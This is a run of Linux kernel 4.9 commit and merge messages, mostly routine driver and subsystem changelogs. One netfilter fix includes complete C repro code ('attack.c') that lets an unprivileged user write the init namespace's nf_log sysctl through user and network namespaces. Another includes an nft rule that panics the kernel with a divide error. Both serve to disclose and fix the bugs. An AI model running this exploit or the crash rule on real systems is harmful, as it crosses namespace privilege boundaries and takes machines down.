  Documentation/kernel-docs.txt: move in-kernel docs
  Documentation/kernel-docs.txt: remove more legacy references
  Documentation/kernel-docs.txt: add two published books
  Documentation/kernel-docs.txt: sort books per publication date
  Documentation/kernel-docs.txt: adjust LDD references
  Documentation/kernel-docs.txt: some improvements on the ReST output
  Documentation/kernel-docs.txt: Consistent indenting: 4 spaces
  Documentation/kernel-docs.txt: Add 4 paper/book references
  Documentation/kernel-docs.txt: Improve layouting of book list
  Documentation/kernel-docs.txt: Remove offline or outdated entries
  docs: Clean up bare :: lines
  ...

Pull jfs updates from David Kleikamp:
 "Minor jfs updates"

* tag 'jfs-4.9' of git://github.com/kleikamp/linux-shaggy:
  jfs: Simplify code
  jfs: jump to error_out when filemap_{fdatawait, write_and_wait} fails

Pull gfs2 updates from Bob Peterson:
 "We've only got six GFS2 patches for this merge window.  In patch
  order:

   - Fabian Frederick submitted a nice cleanup that uses the BIT macro
     rather than bit shifting.

   - Andreas Gruenbacher contributed a patch that fixes a long-standing
     annoyance whereby GFS2 warned about dirty pages.

   - Andreas also fixed a problem with the recent extended attribute
     readahead feature.

   - Chao Yu contributed a patch that checks the return code from
     function register_shrinker and reacts accordingly. Previously, it
     was not checked.

   - Andreas Gruenbacher also fixed a problem whereby incore file
     timestamps were forgotten if the file was invalidated. This merely
     moves the assignment inside the inode glock where it belongs.

   - Andreas also fixed a problem where incore timestamps were not
     initialized"

* tag 'gfs2-4.8.fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/gfs2/linux-gfs2:
  gfs2: Initialize atime of I_NEW inodes
  gfs2: Update file times after grabbing glock
  gfs2: fix to detect failure of register_shrinker
  gfs2: Fix extended attribute readahead optimization
  gfs2: Remove dirty buffer warning from gfs2_releasepage
  GFS2: use BIT() macro

Pull file locking updates from Jeff Layton:
 "Only a single patch from Nikolay this cycle, with a small change to
  better handle /proc/locks in a containerized host"

* tag 'locks-v4.9-1' of git://git.samba.org/jlayton/linux:
  locks: Filter /proc/locks output on proc pid ns

Pull hdi1 rdma driver updates from Doug Ledford:
 "This is the first pull request of the 4.9 merge window for the RDMA
  subsystem. It is only the hfi1 driver. It had dependencies on code
  that only landed late in the 4.7-rc cycle (around 4.7-rc7), so putting
  this with my other for-next code would have create an ugly merge of
  lot of 4.7-rc stuff. For that reason, it's being submitted
  individually. It's been through 0day and linux-next"

* tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma: (37 commits)
  IB/rdmavt: Trivial function comment corrected.
  IB/hfi1: Fix trace of atomic ack
  IB/hfi1: Update SMA ingress checks for response packets
  IB/hfi1: Use EPROM platform configuration read
  IB/hfi1: Add ability to read platform config from the EPROM
  IB/hfi1: Restore EPROM read ability
  IB/hfi1: Document new sysfs entries for hfi1 driver
  IB/hfi1: Add new debugfs sdma_cpu_list file
  IB/hfi1: Add irq affinity notification handler
  IB/hfi1: Add a new VL sysfs attribute for sdma engines
  IB/hfi1: Add sysfs interface for affinity setup
  IB/hfi1: Fix resource release in context allocation
  IB/hfi1: Remove unused variable from devdata
  IB/hfi1: Cleanup tasklet refs in comments
  IB/hfi1: Adjust hardware buffering parameter
  IB/hfi1: Act on external device timeout
  IB/hfi1: Fix defered ack race with qp destroy
  IB/hfi1: Combine shift copy and byte copy for SGE reads
  IB/hfi1: Do not read more than a SGE length
  IB/hfi1: Extend i2c timeout
  ...

Pull EDAC updates from Borislav Petkov:
 "A lot of movement in the EDAC tree this time around, coarse summary
  below:

   - Altera Arria10 enablement of NAND, DMA, USB, QSPI and SD-MMC FIFO
     buffers (Thor Thayer)

   - split the memory controller part out of mpc85xx and share it with a
     new Freescale ARM Layerscape driver (York Sun)

   - amd64_edac fixes (Yazen Ghannam)

   - misc cleanups, refactoring and fixes all over the place"

* tag 'edac_for_4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/bp/bp: (37 commits)
  EDAC, altera: Add IRQ Flags to disable IRQ while handling
  EDAC, altera: Correct EDAC IRQ error message
  EDAC, amd64: Autoload module using x86_cpu_id
  EDAC, sb_edac: Remove NULL pointer check on array pci_tad
  EDAC: Remove NO_IRQ from powerpc-only drivers
  EDAC, fsl_ddr: Fix error return code in fsl_mc_err_probe()
  EDAC, fsl_ddr: Add entry to MAINTAINERS
  EDAC: Move Doug Thompson to CREDITS
  EDAC, I3000: Orphan driver
  EDAC, fsl_ddr: Replace simple_strtoul() with kstrtoul()
  EDAC, layerscape: Add Layerscape EDAC support
  EDAC, fsl_ddr: Fix IRQ dispose warning when module is removed
  EDAC, fsl_ddr: Add support for little endian
  EDAC, fsl_ddr: Add missing DDR DRAM types
  EDAC, fsl_ddr: Rename macros and names
  EDAC, fsl-ddr: Separate FSL DDR driver from MPC85xx
  EDAC, mpc85xx: Replace printk() with pr_* format
  EDAC, mpc85xx: Drop setting/clearing RFXE bit in HID1
  EDAC, altera: Rename MC trigger to common name
  EDAC, altera: Rename device trigger to common name
  ...

Pull spi updates from Mark Brown:
 "The SPI subsystem has also had quite a quiet release, though with a
  fairly large set of per-driver changes and several new drivers. The
  bulk of the changes are:

   - lots and lots of cleanups and improvements for the fsl-espi driver

   - new drivers for Broadcom MSPI/iProc/STB, Cavium ThunderX and
     J-Core"

* tag 'spi-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/spi: (80 commits)
  spi: sc18is602: Change gpiod_set_value to gpiod_set_value_cansleep
  spi: pxa2xx: Fix build error because of missing header
  spi: imx: fix error return code in spi_imx_probe()
  spi: pxa2xx: Add support for GPIO descriptor chip selects
  spi: imx: Gracefully handle NULL master->cs_gpios
  spi: iproc-qspi: Add Broadcom iProc SoCs support
  spi: fsl-espi: improve return value handling in fsl_espi_probe
  spi: fsl-espi: simplify of_fsl_espi_probe
  spi: fsl-espi: remove unused variable in fsl_espi_setup
  spi: bcm-qspi: Fix error return code in bcm_qspi_probe()
  spi: bcm-qspi: Fix return value check in bcm_qspi_probe()
  spi: bcm-qspi: fix suspend/resume #ifdef
  spi: bcm-qspi: don't include linux/mtd/cfi.h
  spi: core: Use spi_sync_transfer() in spi_write()/spi_read()
  spi: fsl-espi: improve and extend register bit definitions
  spi: fsl-espi: align register access with other drivers
  spi: fsl-espi: improve and simplify interrupt handler
  spi: fsl-espi: simplify fsl_espi_setup_transfer
  spi: imx: support loopback mode on imx35
  spi: imx: set spi_bus_clk for mx1, mx31 and mx35
  ...

Pull regulator updates from Mark Brown:
 "This is an extremely quiet release for the regulator API, we've got a
  small set of bug fixes and minor feature enhancements for drivers plus
  a couple of more visible changes:

   - add support for ramp times in regulators that don't use selectors.

   - new driver for LTC3676"

* tag 'regulator-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regulator:
  regulator: dbx500: remove unused functions in dbx500-prcmu.c
  regulator: pv88080: Update regulator for PV88080 BB silicon support
  regulator: core: don't return error with inadequate reason
  regulator: tps65910: Work around silicon erratum SWCZ010
  regulator: core: Add set_voltage_time op
  regulator: core: Don't skip set_voltage_time when ramp delay disabled
  regulator: core: Simplify error flow in _regulator_do_set_voltage()
  regulator: core: Use local ops variable in _regulator_do_set_voltage()
  regulator: hi6421: mark hi6421_regulator_ldo_get_optimum_mode() static
  regulator: Kconfig: Fix typo
  regulator: bindings: Use the correct symbol for second
  regulator: Remove support for optional supplies in the bulk API
  regulator: Add LTC3676 support
  regulator: rk808: Delete owner assignment
  regulator: tps65218: do not disable DCDC3 during poweroff on broken PMICs
  mfd: tps65218: add version check to the PMIC probe

Pull regmap updates from Mark Brown:
 "Another quiet release, a few small extensions to the set of register
  maps we support and an improvement in the debugfs code:

   - allow viewing of cached contents for write only registers via
     debugfs.

   - support a wider range of read/write flag masks in register formats.

   - support more little endian formats"

* tag 'regmap-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regmap:
  regmap: Add missing little endian functions
  regmap: Allow longer flag masks for read and write
  regmap: debugfs: Add support for dumping write only device registers
  regmap: Add a function to check if a regmap register is cached

Pull clk framework updates from Stephen Boyd:
 "The core clk framework changes are small again. They're mostly minor
  fixes that weren't causing enough problems (or any problems when we're
  just clarifying things) to warrant sending outside the merge window.
  The majority of changes are in drivers for various SoCs. Full details
  are in the logs, but here's the summary.

  Core:

   - Better support for DeviceTree overlays with the addition of the
     CLK_OF_DECLARE_DRIVER macro. Now we won't probe a clk driver for a
     device node that matched during of_clk_init(), unless the driver
     uses CLK_OF_DECLARE_DRIVER instead of CLK_OF_DECLARE. This allows
     overlays to work cleanly for drivers that must probe before the
     device model is ready, and also after it's ready when an overlay is
     loaded.

   - Clarification in the code around how clk_hw pointers are returned
     from of clk providers

   - Proper migration of prepare/enable counts to parents when the clk
     tree is constructed

  New Drivers:

   - Socionext's UniPhier SoCs
   - Loongson1C
   - ZTE ZX296718
   - Qualcomm MDM9615
   - Amlogic GXBB AO clocks and resets
   - Broadcom BCM53573 ILP
   - Maxim MAX77620

 Updates:

   - Four Allwinner SoCs are migrated to the new style clk driver (A31,
     A31s, A23 and A33)
   - Exynos 5xxx audio and DRAM clks
   - Loongson1B AC97, DMA and NAND clks
   - Rockchip DDR clks and rk3399 driver tweaks
   - Renesas R-Car M3-W (r8a7796) SoC SDHI interface and Watchdog timer
     clks
   - Renasas R-Car H3 and M3-W CMT clks and RAVB+Thermal clks for M3-W
   - Amlogic GXBB MMC gate clks
   - at91 sama5d4 sckc
   - Removal of STiH415 and STiH416 clk support as the SoC is being
     removed
   - Rework of STiH4xx clk support for new style bindings
   - Continuation of driver migration to clk_hw based registration APIs
   - xgene PMD support
   - bcm2835 critical clk markings
   - ARM versatile ICST"

* tag 'clk-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux: (199 commits)
  CLK: Add Loongson1C clock support
  clk: Loongson1: Make use of GENMASK
  clk: Loongson1: Update clocks of Loongson1B
  clk: Loongson1: Refactor Loongson1 clock
  clk: change the type of clk_hw_onecell_data.num to unsigned int
  clk: zx296718: register driver earlier with core_initcall
  clk: mvebu: dynamically allocate resources in Armada CP110 system controller
  clk: mvebu: fix setting unwanted flags in CP110 gate clock
  clk: nxp: clk-lpc32xx: Unmap region obtained by of_iomap
  clk: mediatek: clk-mt8173: Unmap region obtained by of_iomap
  clk: sunxi-ng: Fix reset offset for the A23 and A33
  clk: at91: sckc: optimize boot time
  clk: at91: Add sama5d4 sckc support
  clk: at91: move slow clock controller clocks to sckc.c
  clk: imx6: initialize GPU clocks
  clk: imx6: fix i.MX6DL clock tree to reflect reality
  clk: imx53: Add clocks configuration
  clk: uniphier: add clock data for UniPhier SoCs
  clk: uniphier: add core support code for UniPhier clock driver
  clk: bcm: Add driver for BCM53573 ILP clock
  ...

Merge tag 'hwmon-for-linus-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging

Pull hwmon updates from Guenter Roeck:

 - New hwmon registration API, including ports of several drivers to the
   new API

 - New hwmon driver for APM X-Gene SoC

 - Added support for UCD90160, DPS-460, DPS-800, and SGD009 PMBUs chips

 - Various cleanups, minor improvements, and fixes in several drivers

* tag 'hwmon-for-linus-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging: (54 commits)
  hwmon: (nct6775) Add support for multiple virtual temperature sources
  hwmon: (adt7470) No need for additional synchronization on kthread_stop()
  hwmon: (lm95241) Update module description to include LM95231
  hwmon: (lm95245) Select REGMAP_I2C
  hwmon: (ibmpowernv) Fix label for cores numbers not threads
  hwmon: (adt7470) Allow faster removal
  hwmon: (adt7470) Add write support to alarm_mask
  hwmon: (xgene) access mailbox as RAM
  hwmon: (lm95245) Use new hwmon registration API
  hwmon: (lm95241) Convert to use new hwmon registration API
  hwmon: (jc42) Convert to use new hwmon registration API
  hwmon: (max31790) Convert to use new hwmon registration API
  hwmon: (nct7904) Convert to use new hwmon registration API
  hwmon: (ltc4245) Convert to use new hwmon registration API
  hwmon: (tmp421) Convert to use new hwmon registration API
  hwmon: (tmp102) Convert to use new hwmon registration API
  hwmon: (lm90) Convert to use new hwmon registration API
  hwmon: (lm75) Convert to use new hwmon registration API
  hwmon: (xgene) Fix crash when alarm occurs before driver probe
  hwmon: (iio_hwmon) defer probe when no channel is found
  ...

Pull LED driver updates from Jacek Anaszewski:
 "Three new LED class drivers and some minor fixes and improvementes to
  the leds-gpio driver, LED Trigger core and documentation"

* 'for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/j.anaszewski/linux-leds:
  leds: triggers: Check return value of kobject_uevent_env()
  leds: triggers: Return from led_trigger_set() if there is nothing to do
  leds: gpio: fix and simplify error handling in gpio_leds_create
  leds: gpio: switch to managed version of led_classdev_register
  leds: gpio: fix and simplify reading property "label"
  leds: gpio: simplify gpio_leds_create
  leds: gpio: add helper cdev_to_gpio_led_data
  leds: gpio: fix an unhandled error case in create_gpio_led
  leds: gpio: introduce gpio_blink_set_t
  leds: add driver for Mellanox systems LEDs
  Documentation: move oneshot trigger attributes documentation to ABI
  leds: centralize definition of "default-state" property
  leds: add PM8058 LEDs driver
  leds: pm8058: add device tree bindings
  leds: do not overflow sysfs buffer in led_trigger_show
  leds: make triggers explicitly non-modular
  DT: leds: Add bindings for ISSI is31fl319x
  leds: is31fl319x: 1/3/6/9-channel light effect led driver

Auvidea (http://www.auvidea.eu/) produces embedded devices and
baseboards with a focus on audio and video technology.
Signed-off-by: Lucas Stach <l.stach@pengutronix.de>
Signed-off-by: Rob Herring <robh@kernel.org>

Resolve the merge conflict between Felix's/my and Toke's patches
coming into the tree through net and mac80211-next respectively.
Most of Felix's changes go away due to Toke's new infrastructure
work, my patch changes to "goto begin" (the label wasn't there
before) instead of returning NULL so flow control towards drivers
is preserved better.
Signed-off-by: Johannes Berg <johannes.berg@intel.com>

After I input the following nftables rule, a panic happened on my system:
  # nft add rule filter OUTPUT limit rate 0xf00000000 bytes/second

  divide error: 0000 [#1] SMP
  [ ... ]
  RIP: 0010:[<ffffffffa059035e>]  [<ffffffffa059035e>]
  nft_limit_pkt_bytes_eval+0x2e/0xa0 [nft_limit]
  Call Trace:
  [<ffffffffa05721bb>] nft_do_chain+0xfb/0x4e0 [nf_tables]
  [<ffffffffa044f236>] ? nf_nat_setup_info+0x96/0x480 [nf_nat]
  [<ffffffff81753767>] ? ipt_do_table+0x327/0x610
  [<ffffffffa044f677>] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat]
  [<ffffffffa058b21f>] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4]
  [<ffffffff816f4aa2>] nf_iterate+0x62/0x80
  [<ffffffff816f4b33>] nf_hook_slow+0x73/0xd0
  [<ffffffff81703d0d>] __ip_local_out+0xcd/0xe0
  [<ffffffff81701d90>] ? ip_forward_options+0x1b0/0x1b0
  [<ffffffff81703d3c>] ip_local_out+0x1c/0x40

This is because divisor is 64-bit, but we treat it as a 32-bit integer,
then 0xf00000000 becomes zero, i.e. divisor becomes 0.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.

Stash the "struct net *" in extra2 - data and extra1 are already used.

Repro code:

#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

char child_stack[1000000];

uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;

void writefile(char *path, char *buf) {
        int fd = open(path, O_WRONLY);
        if (fd == -1)
                err(1, "unable to open thing");
        if (write(fd, buf, strlen(buf)) != strlen(buf))
                err(1, "unable to write thing");
        close(fd);
}

int child_fn(void *p_) {
        if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                  NULL))
                err(1, "mount");

        /* Yes, we need to set the maps for the net sysctls to recognize us
         * as namespace root.
         */
        char buf[1000];
        sprintf(buf, "0 %d 1\n", (int)outer_uid);
        writefile("/proc/1/uid_map", buf);
        writefile("/proc/1/setgroups", "deny");
        sprintf(buf, "0 %d 1\n", (int)outer_gid);
        writefile("/proc/1/gid_map", buf);

        stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
        if (stolen_fd == -1)
                err(1, "open nf_log");
        return 0;
}

int main(void) {
        outer_uid = getuid();
        outer_gid = getgid();

        int child = clone(child_fn, child_stack + sizeof(child_stack),
                          CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                          |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
        if (child == -1)
                err(1, "clone");
        int status;
        if (wait(&status) != child)
                err(1, "wait");
        if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                errx(1, "child exit status bad");

        char *data = "NONE";
        if (write(stolen_fd, data, strlen(data)) != strlen(data))
                err(1, "write");
        return 0;
}

Repro:

$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE

Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

Gavin Shan says:

====================
net/ncsi: NCSI Improvment and bug fixes

This series of patches improves NCSI stack according to the comments
I received after the NCSI code was merged to 4.8.rc1:

  * PATCH[1/8] fixes the build warning caused by xchg() with ia64-linux-gcc.
    The atomic operations are removed. The NCSI's lock should be taken when
    reading or updating its state and chained state.
  * Channel ID (0x1f) is the reserved one and it cannot be valid channel ID.
    So we needn't try to probe channel whose ID is 0x1f. PATCH[2/8] and
    PATCH[3/8] are addressing this issue.
  * The request IDs are assigned in round-robin fashion, but it's broken.
    PATCH[4/8] make it work.
  * PATCH[5/8] and PATCH[6/8] reworks the channel monitoring to improve the
    code readability and its robustness.
  * PATCH[7/8] and PATCH[8/8] introduces ncsi_stop_dev() so that the network
    device can be closed and opened afterwards. No error will be seen.

Changelog
=========
v2:
  * The NCSI's lock is taken when reading or updating its state as the
    {READ,WRITE}_ONCE() isn't reliable.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>

This stops NCSI device when closing the network device so that the
NCSI device can be reenabled later.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>

This introduces ncsi_stop_dev(), as counterpart to ncsi_start_dev(),
to stop the NCSI device so that it can be reenabled in future. This
API should be called when the network device driver is going to
shutdown the device. There are 3 things done in the function: Stop
the channel monitoring; Reset channels to inactive state; Report
NCSI link down.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>